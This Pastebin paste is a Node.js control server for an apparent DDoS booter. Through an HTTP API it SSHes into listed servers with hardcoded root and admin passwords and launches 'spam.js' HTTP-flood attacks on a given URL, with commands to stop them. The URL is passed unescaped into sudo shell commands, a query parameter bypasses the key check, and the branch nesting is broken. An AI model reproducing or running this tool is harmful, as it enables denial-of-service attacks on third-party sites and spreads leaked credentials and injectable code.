Advertisement
Arbitrator

Untitled

Jan 3rd, 2020
8,738
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.33 KB | None | 0 0
  1. const net = require('net');
  2. const Client = require('ssh2').Client;
  3. const http = require('http');
  4. const url = require('url');
  5. const fs = require('fs');
  6.  
  7. const methods = [
  8. "SPAMGET",
  9. "SPAMPOST",
  10. "BYPASS",
  11.  
  12. "STOP"
  13. ];
  14.  
  15.  
  16. var servers = [
  17.  
  18. {
  19. ip: "101.99.90.71",
  20. username: "admin",
  21. password: "wtfY@xv4o%MhS%DaQoBxo8fxJhqwndTT@H2"
  22. },
  23. {
  24. ip: "1.2.3.22",
  25. username: "root",
  26. password: "password"
  27. },
  28.  
  29. ]
  30.  
  31.  
  32. var keys = [{
  33. key: "",
  34. concurrents: 4,
  35. maxtime: 1800,
  36. attacks: 0,
  37. admin: true
  38. }]
  39.  
  40.  
  41. process.on('uncaughtException', function(e) {
  42. console.warn(e);
  43. });
  44.  
  45. process.on('unhandledRejection', function(e) {
  46. console.warn(e);
  47. });
  48. var client = new net.Socket();
  49.  
  50. var httpServer = http.createServer().on('request', function(request, response) {
  51. request.query = url.parse(request.url, true).query;
  52. if (methods.indexOf(request.query.method) === -1 || request.query.time < 10) return response.end('gay');
  53. if (!request.query.url) {
  54. return response.end('{"error": "No URL mentioned."}');
  55. }
  56. if (!request.query.time) {
  57. return response.end('{"error": "No time given"}');
  58. }
  59. if (!request.query.method) {
  60. return response.end('{"error": "No method given"}');
  61. }
  62. if (request.query.key || request.query.dns) {
  63. request.query.keydb = keys.find(akey => akey.key == request.query.key);
  64. if (request.query.keydb || request.query.dns) {
  65. if (request.query.dns) {
  66. request.query.keydb = {
  67. concurrents: 1e3,
  68. maxtime: 1e6,
  69. attacks: -1e6
  70. };
  71. }
  72. if (request.query.method == 'STOPALL') {
  73. if (request.query.keydb.admin) {
  74. execute("sudo pkill .js -f; sudo pkill https:// -f; sudo pkill http:// -f;");
  75. response.end("Attack has been sent on " + request.query.url);
  76. }
  77. }
  78. else if (request.query.method == 'SPAMGET') {
  79. if (request.query.keydb.admin) {
  80. execute("sudo node spam.js " + "get " + request.query.url + " " + request.query.time);
  81. response.end("Attack has been sent on " + request.query.url);
  82. }
  83. else if (request.query.method == 'SPAMPOST') {
  84. if (request.query.keydb.admin) {
  85. execute("sudo node spam.js " + request.query.url + " " + request.query.time);
  86. response.end("Attack has been sent on " + "post " + request.query.url);
  87. }
  88. }
  89. else if (request.query.method == 'STOP') {
  90. if (request.query.keydb.admin) {
  91. execute("sudo pkill " + request.query.url + " -f");
  92. response.end("Stopped attack on " + request.query.url);
  93. }
  94. }
  95. } else {
  96. response.end("Wrong key");
  97. }
  98. } else {
  99. response.end("No key was mentioned.");
  100. }
  101. } else {
  102. response.setHeader('content-type', 'text/html');
  103. return response.end('maintenance');
  104. }
  105. });
  106. httpServer.listen(12,function(){
  107. console.log('Server is running on port 12');
  108. });
  109. function execute(command, serversLimit) {
  110. servers.forEach(function(server) {
  111. var conn = new Client();
  112. conn.on('ready', function() {
  113. console.log('Client :: ready');
  114. conn.exec(command, function(err, stream) {
  115. if (err) throw err;
  116. stream.on('close', function(code, signal) {
  117. console.log('Stream :: close :: code: ' + code + ', signal: ' + signal);
  118. conn.end();
  119. }).on('data', function(data) {
  120. console.log('STDOUT: ' + data);
  121. }).stderr.on('data', function(data) {
  122. console.log('STDERR: ' + data);
  123. });
  124. });
  125. }).connect({
  126. host: server.ip,
  127. port: 22,
  128. username: server.username,
  129. password: server.password
  130. });
  131. });
  132. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement